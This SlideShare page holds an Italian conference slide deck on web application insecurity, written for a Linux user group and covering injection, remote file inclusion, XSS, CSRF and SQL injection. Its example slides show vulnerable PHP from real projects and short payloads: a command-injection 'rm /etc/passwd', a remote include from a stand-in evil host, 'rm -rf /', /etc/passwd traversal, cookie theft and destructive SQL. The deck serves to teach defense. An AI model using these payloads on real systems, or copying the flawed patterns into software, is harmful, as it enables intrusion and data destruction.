SlideShare a Scribd company logo
Alessandro “jekil” Tanasi [email_address] http://www.tanasi.it Web Application (In)Security LUG Trieste UNCENSORED
Introduzione.. Affermazioni illustri di manager, aziende, enti non citati. Ciao Gianni, sai ci siamo fatti fare il sito nuovo, abbiamo speso solo 500  ϵ ..no no, non esiste documentazione. Tanto è solo carta inutile! Ma certo che sono sicuro! Il sito è protetto da firewall e antivirus Anzi.. usiamo un ritrovato della sicurezza chiamato S..S.. SSL! Ci protegge lui, figo no? Ma alla fine, ti dirò, la sicurezza non ci interessa al momento ?
Un comune sito web Abbiamo provato, e abbiamo miseramente fallito. Questo ci insegna che non vale la pena di provare. Homer Simpson
Siti e applicazioni web Il web è un'insieme di servizi applicativi per la distribuzione di contenuti Negozi online, online banking, community, e-government Una web application prende un  input dall'utente , esegue delle  operazioni  sull'input magari interagendo con componenti di terze parti, mostra in output un  risultato  in formato  HTML Quasi sempre scritto  “from scratch” Utilizzo di uno o più linguaggi di programmazione: PHP, Perl, Pyhton, ASP, .. Spesso le funzionalità sono l'unico obbiettivo, spesso il programmatore non ha nozioni di programmazione sicura
Architettura Architetture complesse Piattaforme multiple Molti protocolli Web Servers Presentation Layer Media Store Database Server Customer Identification  Access Controls Transaction Information Core Business Data Application Server Business Logic Content services
Un brutto giorno... Arriva il conto: Perdita di clienti Problemi legali Costi aggiuntivi Perdita di credibilità
Quali problemi? Sviluppo web fatto in maniera caotica Prima si devono soddisfare i requisiti dettati dall'utente/committente (features), poi se avanza tempo si mette in sicurezza Se una cosa funziona bene perchè modificarla? Falsi sensi di sicurezza (SSL, firewall) Mancanza di  competenze  degli sviluppatori,  non  comprensione  dei problemi da parte del management, poca importanza data alla sicurezza. Indisponibilità a  investire  in cose che non danno un ritorno visibile.
Statistiche.. Source: 2006 CSI/FBI survey
Una nuova web era People that writes at the state of the art, make the world more secure. Sarah Gordon
Web 2.0
Web 2.0 Components Protocolli  (SOAP, XML-RPC, REST over HTTP o HTTPS) Strutture  dati  (XML, JSON, JS objects) Metodi di  comunicazione  (asincrone, cross domain proxy) Condivisione  di informazioni
Tecnologie 2.0 Architetture complesse Confusione creata dalle tante tecnologie usate RSS e molte sorgenti di dati non fidate Widgets e componenti di terze parti Condivisione delle informazioni Ma.. gli sviluppatori web sanno gestire  tutto  questo in  modo sicuro ?
Vulnerabilità comuni To win a war, one must know the way. Sun Tzu The Art of War
Utente, user input Gli utenti sono brave persone, di cui ci si può  fidare , e che useranno l'applicazione nel  modo corretto , tutti sono miei amici! L'applicazione non si aspetta input maliziosi, fiducia implicita nell'input E c'era la marmotta che incartava la cioccolata... L'input proveniente da un utente non è  mai fidato L'obbiettivo è mettere l'applicazione in uno  stato non previsto , per ottenere comportamenti anomali o informazioni di debugging
Globals Ad ogni parametro in input corrisponde una variabile, variabili globali Abilitate con il parametro register_globals (disabilitato di default da PHP 4.1.0) Manipolazione di variabili (e conseguenze..) http://example.com/index.php <?php fai_cose_con($pippo);  ?> http://example.com/index.php?pippo=all
Code injection Alcune funzioni (eval, exec, fopen, etc.) valutano codice o effettuano chiamate al sistema operativo Inietta codice (PHP script, comandi shell) Esecuzione di codice sul web server con i privilegi del web server http://example.com/index.php?arg=marmotta <?php $name = $_GET['arg'];  exec (&quot;echo $name&quot;);  ?> http://example.com/index.php?arg= marmotta; rm /etc/passwd
Remote file inclusion Esecuzione di codice remoto L'attaccante può far scaricare ed eseguire codice con i privilegi del web server semplicemente modificando l'URL <?php include($layout); ?> http://example.com/index.php?layout=green http://example.com/index.php?layout=http://evilsite.com/evilscript
Esempi Serendipity @include_once($_POST['serendipityPath'] . 'include/db/db.inc.php'); WordPress include(ABSPATH . 'wp-content/plugins/' . trim( $_GET['plugin'] )); YaBB include($_REQUEST['installdir'] . '/Settings.php'); Squirellmail Plugin include($_POST['Include']);
Exploit Sensitive File retrieval ?value=../../../../../../../../../etc/passwd Arbitrary code execution ?value=http://www.hackme.com/shellcode.txt Content Removal shell_exec(“nohup rm -rf / 2>&1 1>/dev/null &”); Infinite possibilità d'uso...
Cross site scripting(XSS) Fiducia implicita nel contenuto del browser Un sito fidato viene usato per distribuire contenuti malevoli Codice HTML e/o Javascript iniettato  <?php echo “You searched for $q”; // show results ?> http://example.com/index.php?q=marmotta http://example.com/index.php?q=<script>alert('buh!')</script>
XSS Privacy : Può trasmettere dati privati dell'utente, tracciamento, history Autenticazione : furto di credenziali, password manager Integrità : Può alterare il sito visitato, phishing Disponibilità : causare DoS Exploitation del browser e sue estensioni Rich Internet Applications (Flash, Acrobat, Java, ActiveX, Silverlight, Media Player) Scansione della intranet Attacchi alla  intranet
Esempi phpMyAdmin echo $_COOKIE['pma_db_filename_template']; phpMyEdit echo '<input type=&quot;hidden&quot; name=&quot;fl&quot; value=&quot;'.$_POST[fl].'&quot; />'.&quot;\n&quot;; University of Toronto <input type=&quot;hidden&quot; name=&quot;show_courses&quot; value=&quot;<?php echo $_GET['show_courses']; ?>&quot; /> Modernbill <form action=&quot;<?php echo $_SERVER['PHP_SELF']; ?>&quot; method=&quot;GET&quot;>
Exploit Cookie/Session Theft <script>window.location=...?document.cookie;</script> Content Modification <script>document.getElementById(‘price’).innerHTML=’$1’;</script> CSRF Initiation <img src=”http://hackme.com/” /> Social Engineering <iframe src=”http://hackme.com/login” ></iframe>
CSRF Modello di autenticazione tradizionale: l'utente fa login e tutte le successive richieste sono autenticate C ross  S ite  R equest  F orgery Forzare il browser a mandare richieste per un sito ad insaputa dell'utente (trasferimenti di denaro, post sul blog) Utente forzato a fare una richiesta (autenticata) non voluta <img src=&quot;http://google.com/search?q=porno&quot;/>
SQL Injection Molti siti web usano un DBMS per gestire e memorizzare dati SQL è un linguaggio (DDL, DML, e altro..) Iniezione di query arbitrarie al DBMS, attacco al backend Amplificata da errate configurazioni dei DBMS <?php mysql_query(“SELECT * FROM users WHERE uid='$var'”); ?> http://example.com/index.php?var=123 http://example.com/index.php?var=aaa'; DELETE FROM users;
Esempi Bugs (bug tracking software) &quot;select * from userstable where uname='&quot;.$_COOKIE['FIDOlogin'][1].&quot;'limit 1&quot; OSTicket &quot;SELECT * FROM ticket_reps WHERE ID='$_POST[r_id]'&quot; XOOPS &quot;SELECT pass FROM {$table_prefix}users WHERE uname='$_COOKIE[$auth_ucookie]'&quot; phpMyFaq &quot;SELECT time FROM &quot;.SQLPREFIX.&quot;faqsessions WHERE sid = &quot;.$_REQUEST[&quot;id&quot;]
Exploit Arbitrary Query Injection ?val=(DELETE FROM table); Arbitrary data retrieval ?id=column_name Denial of Service ?val=(BENCHMARK(100000000, MD5(RAND())); Data Modification ?val=(UPDATE users SET is_admin=1);
Autenticazione debole Gestione dell'autenticazione e della sessione  Debolezze architetturali (Forgot my pass) Authentication bypass Session hijacking Brute forcing o previsione del session ID Cookie Overload / Session Fixation I cookie sono un'input utente e come tali vanno trattati
Errori di gestione Software installati e mai aggiornati Configurazioni errate, affrettate o di default Presenza di file non necessari, di backup, di esempio Permessi sbagliati, policy errate su dati privati Servizi non necessari abilitati, funziolità non utilizzate abilitate Account di default utilizzabili Debug abilitato
OWASP Top 10 2007 Cross Site Scripting (XSS) Injection Flaws Malicious File Execution  Code vulnerable to remote file inclusion (RFI) Insecure Direct Object Reference Cross Site Request Forgery (CSRF) Information Leakage and Improper Error Handling Broken Authentication and Session Management Insecure Cryptographic Storage Insecure Communication Failure to Restrict URL Access  http://www.owasp.org
Ulteriori minacce We wouldn’t need so much network security, if we didn’t have such bad software security. Bruce Schneier
Web Services Standard per la comunicazione machine to machine (XML, SOAP, WSDL, UDDI) Interfaccia alla business logic e hai dati Automazione di processi di business (b2b, b2c), nuovi servizi Soffrono delle stesse problematiche delle applicazioni web: Messaggi di errori pettegoli SQL Injection Gestione delle eccezioni Access control Gestione delle sessioni Configurazioni errate
Malware Amministratori di siti che includono volutamente malware Siti defacciati che includono non volutamente malware Malware iniettato in aree pubbliche (XSS persistente) Click su link malformati in maniera apposita (XSS non persistente) Worm e virus dal mondo reale: Myspace.com 2005, Yamanner 2006
Altre vulnerabilità XML Security JJavascript manipulationSON Security AJAX Security Buffer overflow Spam relay Timing Attacks ActiveX Controls Java applets (sandbox bypassing) Javascript manipulation Xpath Injection ..e molto altro
Conclusioni Le applicazioni web sono quasi sempre scritte male o in fretta Quindi molto vulnerabili, principalmente a causa di problemi legati alla validazione dell'input o problemi architetturali Il codice delle web application fa parte del perimetro di sicurezza Le web application sono un bersaglio ghiotto La tecnologia cambia velocemente (JS, AJAX, WS), l'innovazione spesso non avviene in modo corretto
Slides Le slides di questa presentazione sono già disponibili su: http://www.lonerunners.net/slides Per informazioni: http://www.tanasi.it [email_address] Non esitate a contattarmi anche solo per far due chiacchere...
Licenza Questo documento viene rilasciato sotto  licenza Alcoolware,  la quale non è altro che una normale licenza  Creative Commons Attribute-NonCommercial-ShareALike  [1] ma con l'aggiunta che se mi incontrate dobbiamo andare a  bere  qualcosa. In sintesi è liberamente distribuibile per usi non commerciali, copiabile e modificabile purchè citiate l'autore e la fonte. Se volete distribuire questo documento sul vostro sito siete pregati per favore di comunicarmelo in modo che possa spedirvi le nuove versioni. [1]  http://creativecommons.org/licenses/by-nc-sa/2.0/
 

More Related Content

ODP
Web Application Insecurity L D2007
PPTX
La sicurezza delle Web Application - SMAU Business Bari 2013
PDF
Linux Day2005
PDF
TechDay: Hackers vs. Developers - Le SQL Injection - Simone Onofri
PDF
Linux Nelle Aziende Summer Of Linux 2007
PPT
Presentatie Toll-net
PDF
Android: Introduzione all'architettura, alla programmazione e alla sicurezza
PPT
Culkas cea san_ildefonso
Web Application Insecurity L D2007
La sicurezza delle Web Application - SMAU Business Bari 2013
Linux Day2005
TechDay: Hackers vs. Developers - Le SQL Injection - Simone Onofri
Linux Nelle Aziende Summer Of Linux 2007
Presentatie Toll-net
Android: Introduzione all'architettura, alla programmazione e alla sicurezza
Culkas cea san_ildefonso

Similar to Web Application Insecurity Uncensored (20)

PPT
Owasp parte3
PDF
sicurezza e php
PDF
Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
PDF
Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
PDF
HTML5 Security
PDF
Hackers vs. Developers: HTML5 Security by Simone Onofri
PDF
Security by design: la cyber security per un progetto innovativo
 
PDF
festival ICT 2013: Sicurezza delle applicazioni web
PPTX
Smau Bari 2013 Massimo Chirivì
PDF
Sicurezza Informatica e Hacking - Università di Teramo 23/10/2015
PDF
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
PDF
Web Application Security: Bug Hunting e Code Review
PDF
Hackers vs developers: progettere le applicazioni mobile tra OWASP e OSSTMM
KEY
Sicurezza delle applicazioni web
PDF
17 - Web Application Threats
PDF
Smau Milano 2014 - Andrea Zwirner
PDF
Odio le mie applicazioni web e chi le ha scritte
PPT
Progetti Open Source Per La Sicurezza Delle Web Applications
PDF
Sicurezza nelle applicazioni web - attacchi e rischi
PDF
ASP.NET MVC3 - Tutti i compiti del Controller
Owasp parte3
sicurezza e php
Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
HTML5 Security
Hackers vs. Developers: HTML5 Security by Simone Onofri
Security by design: la cyber security per un progetto innovativo
 
festival ICT 2013: Sicurezza delle applicazioni web
Smau Bari 2013 Massimo Chirivì
Sicurezza Informatica e Hacking - Università di Teramo 23/10/2015
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
Web Application Security: Bug Hunting e Code Review
Hackers vs developers: progettere le applicazioni mobile tra OWASP e OSSTMM
Sicurezza delle applicazioni web
17 - Web Application Threats
Smau Milano 2014 - Andrea Zwirner
Odio le mie applicazioni web e chi le ha scritte
Progetti Open Source Per La Sicurezza Delle Web Applications
Sicurezza nelle applicazioni web - attacchi e rischi
ASP.NET MVC3 - Tutti i compiti del Controller
Ad

More from jekil (15)

PDF
Names and virtual host discovery
PDF
Cuckoo Sandbox: Automated malware analysis
ODP
Android Introduzione All Architettura Programmazione Sicurezza Serate A Tema ...
PDF
Client Side Security Settordici Lugts
PDF
Security by example
PDF
Sviluppo web con Ruby on Rails
PDF
XPath Injection
PDF
Anonimato In Rete Summer Of Linux2007
ODP
Linux Nelle Aziende Installfest2007
ODP
Sicurezza Informatica Nelle Aziende Installfest2007
PDF
Introduzione all'analisi forense
PDF
MySQL
PDF
MySQL 5
ODP
Intrusion Detection Systems
ODP
La sicurezza informatica nello studio legale
Names and virtual host discovery
Cuckoo Sandbox: Automated malware analysis
Android Introduzione All Architettura Programmazione Sicurezza Serate A Tema ...
Client Side Security Settordici Lugts
Security by example
Sviluppo web con Ruby on Rails
XPath Injection
Anonimato In Rete Summer Of Linux2007
Linux Nelle Aziende Installfest2007
Sicurezza Informatica Nelle Aziende Installfest2007
Introduzione all'analisi forense
MySQL
MySQL 5
Intrusion Detection Systems
La sicurezza informatica nello studio legale
Ad

Web Application Insecurity Uncensored

  • 1. Alessandro “jekil” Tanasi [email_address] http://www.tanasi.it Web Application (In)Security LUG Trieste UNCENSORED
  • 2. Introduzione.. Affermazioni illustri di manager, aziende, enti non citati. Ciao Gianni, sai ci siamo fatti fare il sito nuovo, abbiamo speso solo 500 ϵ ..no no, non esiste documentazione. Tanto è solo carta inutile! Ma certo che sono sicuro! Il sito è protetto da firewall e antivirus Anzi.. usiamo un ritrovato della sicurezza chiamato S..S.. SSL! Ci protegge lui, figo no? Ma alla fine, ti dirò, la sicurezza non ci interessa al momento ?
  • 3. Un comune sito web Abbiamo provato, e abbiamo miseramente fallito. Questo ci insegna che non vale la pena di provare. Homer Simpson
  • 4. Siti e applicazioni web Il web è un'insieme di servizi applicativi per la distribuzione di contenuti Negozi online, online banking, community, e-government Una web application prende un input dall'utente , esegue delle operazioni sull'input magari interagendo con componenti di terze parti, mostra in output un risultato in formato HTML Quasi sempre scritto “from scratch” Utilizzo di uno o più linguaggi di programmazione: PHP, Perl, Pyhton, ASP, .. Spesso le funzionalità sono l'unico obbiettivo, spesso il programmatore non ha nozioni di programmazione sicura
  • 5. Architettura Architetture complesse Piattaforme multiple Molti protocolli Web Servers Presentation Layer Media Store Database Server Customer Identification Access Controls Transaction Information Core Business Data Application Server Business Logic Content services
  • 6. Un brutto giorno... Arriva il conto: Perdita di clienti Problemi legali Costi aggiuntivi Perdita di credibilità
  • 7. Quali problemi? Sviluppo web fatto in maniera caotica Prima si devono soddisfare i requisiti dettati dall'utente/committente (features), poi se avanza tempo si mette in sicurezza Se una cosa funziona bene perchè modificarla? Falsi sensi di sicurezza (SSL, firewall) Mancanza di competenze degli sviluppatori, non comprensione dei problemi da parte del management, poca importanza data alla sicurezza. Indisponibilità a investire in cose che non danno un ritorno visibile.
  • 8. Statistiche.. Source: 2006 CSI/FBI survey
  • 9. Una nuova web era People that writes at the state of the art, make the world more secure. Sarah Gordon
  • 11. Web 2.0 Components Protocolli (SOAP, XML-RPC, REST over HTTP o HTTPS) Strutture dati (XML, JSON, JS objects) Metodi di comunicazione (asincrone, cross domain proxy) Condivisione di informazioni
  • 12. Tecnologie 2.0 Architetture complesse Confusione creata dalle tante tecnologie usate RSS e molte sorgenti di dati non fidate Widgets e componenti di terze parti Condivisione delle informazioni Ma.. gli sviluppatori web sanno gestire tutto questo in modo sicuro ?
  • 13. Vulnerabilità comuni To win a war, one must know the way. Sun Tzu The Art of War
  • 14. Utente, user input Gli utenti sono brave persone, di cui ci si può fidare , e che useranno l'applicazione nel modo corretto , tutti sono miei amici! L'applicazione non si aspetta input maliziosi, fiducia implicita nell'input E c'era la marmotta che incartava la cioccolata... L'input proveniente da un utente non è mai fidato L'obbiettivo è mettere l'applicazione in uno stato non previsto , per ottenere comportamenti anomali o informazioni di debugging
  • 15. Globals Ad ogni parametro in input corrisponde una variabile, variabili globali Abilitate con il parametro register_globals (disabilitato di default da PHP 4.1.0) Manipolazione di variabili (e conseguenze..) http://example.com/index.php <?php fai_cose_con($pippo); ?> http://example.com/index.php?pippo=all
  • 16. Code injection Alcune funzioni (eval, exec, fopen, etc.) valutano codice o effettuano chiamate al sistema operativo Inietta codice (PHP script, comandi shell) Esecuzione di codice sul web server con i privilegi del web server http://example.com/index.php?arg=marmotta <?php $name = $_GET['arg']; exec (&quot;echo $name&quot;); ?> http://example.com/index.php?arg= marmotta; rm /etc/passwd
  • 17. Remote file inclusion Esecuzione di codice remoto L'attaccante può far scaricare ed eseguire codice con i privilegi del web server semplicemente modificando l'URL <?php include($layout); ?> http://example.com/index.php?layout=green http://example.com/index.php?layout=http://evilsite.com/evilscript
  • 18. Esempi Serendipity @include_once($_POST['serendipityPath'] . 'include/db/db.inc.php'); WordPress include(ABSPATH . 'wp-content/plugins/' . trim( $_GET['plugin'] )); YaBB include($_REQUEST['installdir'] . '/Settings.php'); Squirellmail Plugin include($_POST['Include']);
  • 19. Exploit Sensitive File retrieval ?value=../../../../../../../../../etc/passwd Arbitrary code execution ?value=http://www.hackme.com/shellcode.txt Content Removal shell_exec(“nohup rm -rf / 2>&1 1>/dev/null &”); Infinite possibilità d'uso...
  • 20. Cross site scripting(XSS) Fiducia implicita nel contenuto del browser Un sito fidato viene usato per distribuire contenuti malevoli Codice HTML e/o Javascript iniettato <?php echo “You searched for $q”; // show results ?> http://example.com/index.php?q=marmotta http://example.com/index.php?q=<script>alert('buh!')</script>
  • 21. XSS Privacy : Può trasmettere dati privati dell'utente, tracciamento, history Autenticazione : furto di credenziali, password manager Integrità : Può alterare il sito visitato, phishing Disponibilità : causare DoS Exploitation del browser e sue estensioni Rich Internet Applications (Flash, Acrobat, Java, ActiveX, Silverlight, Media Player) Scansione della intranet Attacchi alla intranet
  • 22. Esempi phpMyAdmin echo $_COOKIE['pma_db_filename_template']; phpMyEdit echo '<input type=&quot;hidden&quot; name=&quot;fl&quot; value=&quot;'.$_POST[fl].'&quot; />'.&quot;\n&quot;; University of Toronto <input type=&quot;hidden&quot; name=&quot;show_courses&quot; value=&quot;<?php echo $_GET['show_courses']; ?>&quot; /> Modernbill <form action=&quot;<?php echo $_SERVER['PHP_SELF']; ?>&quot; method=&quot;GET&quot;>
  • 23. Exploit Cookie/Session Theft <script>window.location=...?document.cookie;</script> Content Modification <script>document.getElementById(‘price’).innerHTML=’$1’;</script> CSRF Initiation <img src=”http://hackme.com/” /> Social Engineering <iframe src=”http://hackme.com/login” ></iframe>
  • 24. CSRF Modello di autenticazione tradizionale: l'utente fa login e tutte le successive richieste sono autenticate C ross S ite R equest F orgery Forzare il browser a mandare richieste per un sito ad insaputa dell'utente (trasferimenti di denaro, post sul blog) Utente forzato a fare una richiesta (autenticata) non voluta <img src=&quot;http://google.com/search?q=porno&quot;/>
  • 25. SQL Injection Molti siti web usano un DBMS per gestire e memorizzare dati SQL è un linguaggio (DDL, DML, e altro..) Iniezione di query arbitrarie al DBMS, attacco al backend Amplificata da errate configurazioni dei DBMS <?php mysql_query(“SELECT * FROM users WHERE uid='$var'”); ?> http://example.com/index.php?var=123 http://example.com/index.php?var=aaa'; DELETE FROM users;
  • 26. Esempi Bugs (bug tracking software) &quot;select * from userstable where uname='&quot;.$_COOKIE['FIDOlogin'][1].&quot;'limit 1&quot; OSTicket &quot;SELECT * FROM ticket_reps WHERE ID='$_POST[r_id]'&quot; XOOPS &quot;SELECT pass FROM {$table_prefix}users WHERE uname='$_COOKIE[$auth_ucookie]'&quot; phpMyFaq &quot;SELECT time FROM &quot;.SQLPREFIX.&quot;faqsessions WHERE sid = &quot;.$_REQUEST[&quot;id&quot;]
  • 27. Exploit Arbitrary Query Injection ?val=(DELETE FROM table); Arbitrary data retrieval ?id=column_name Denial of Service ?val=(BENCHMARK(100000000, MD5(RAND())); Data Modification ?val=(UPDATE users SET is_admin=1);
  • 28. Autenticazione debole Gestione dell'autenticazione e della sessione Debolezze architetturali (Forgot my pass) Authentication bypass Session hijacking Brute forcing o previsione del session ID Cookie Overload / Session Fixation I cookie sono un'input utente e come tali vanno trattati
  • 29. Errori di gestione Software installati e mai aggiornati Configurazioni errate, affrettate o di default Presenza di file non necessari, di backup, di esempio Permessi sbagliati, policy errate su dati privati Servizi non necessari abilitati, funziolità non utilizzate abilitate Account di default utilizzabili Debug abilitato
  • 30. OWASP Top 10 2007 Cross Site Scripting (XSS) Injection Flaws Malicious File Execution Code vulnerable to remote file inclusion (RFI) Insecure Direct Object Reference Cross Site Request Forgery (CSRF) Information Leakage and Improper Error Handling Broken Authentication and Session Management Insecure Cryptographic Storage Insecure Communication Failure to Restrict URL Access http://www.owasp.org
  • 31. Ulteriori minacce We wouldn’t need so much network security, if we didn’t have such bad software security. Bruce Schneier
  • 32. Web Services Standard per la comunicazione machine to machine (XML, SOAP, WSDL, UDDI) Interfaccia alla business logic e hai dati Automazione di processi di business (b2b, b2c), nuovi servizi Soffrono delle stesse problematiche delle applicazioni web: Messaggi di errori pettegoli SQL Injection Gestione delle eccezioni Access control Gestione delle sessioni Configurazioni errate
  • 33. Malware Amministratori di siti che includono volutamente malware Siti defacciati che includono non volutamente malware Malware iniettato in aree pubbliche (XSS persistente) Click su link malformati in maniera apposita (XSS non persistente) Worm e virus dal mondo reale: Myspace.com 2005, Yamanner 2006
  • 34. Altre vulnerabilità XML Security JJavascript manipulationSON Security AJAX Security Buffer overflow Spam relay Timing Attacks ActiveX Controls Java applets (sandbox bypassing) Javascript manipulation Xpath Injection ..e molto altro
  • 35. Conclusioni Le applicazioni web sono quasi sempre scritte male o in fretta Quindi molto vulnerabili, principalmente a causa di problemi legati alla validazione dell'input o problemi architetturali Il codice delle web application fa parte del perimetro di sicurezza Le web application sono un bersaglio ghiotto La tecnologia cambia velocemente (JS, AJAX, WS), l'innovazione spesso non avviene in modo corretto
  • 36. Slides Le slides di questa presentazione sono già disponibili su: http://www.lonerunners.net/slides Per informazioni: http://www.tanasi.it [email_address] Non esitate a contattarmi anche solo per far due chiacchere...
  • 37. Licenza Questo documento viene rilasciato sotto licenza Alcoolware, la quale non è altro che una normale licenza Creative Commons Attribute-NonCommercial-ShareALike [1] ma con l'aggiunta che se mi incontrate dobbiamo andare a bere qualcosa. In sintesi è liberamente distribuibile per usi non commerciali, copiabile e modificabile purchè citiate l'autore e la fonte. Se volete distribuire questo documento sul vostro sito siete pregati per favore di comunicarmelo in modo che possa spedirvi le nuove versioni. [1] http://creativecommons.org/licenses/by-nc-sa/2.0/
  • 38.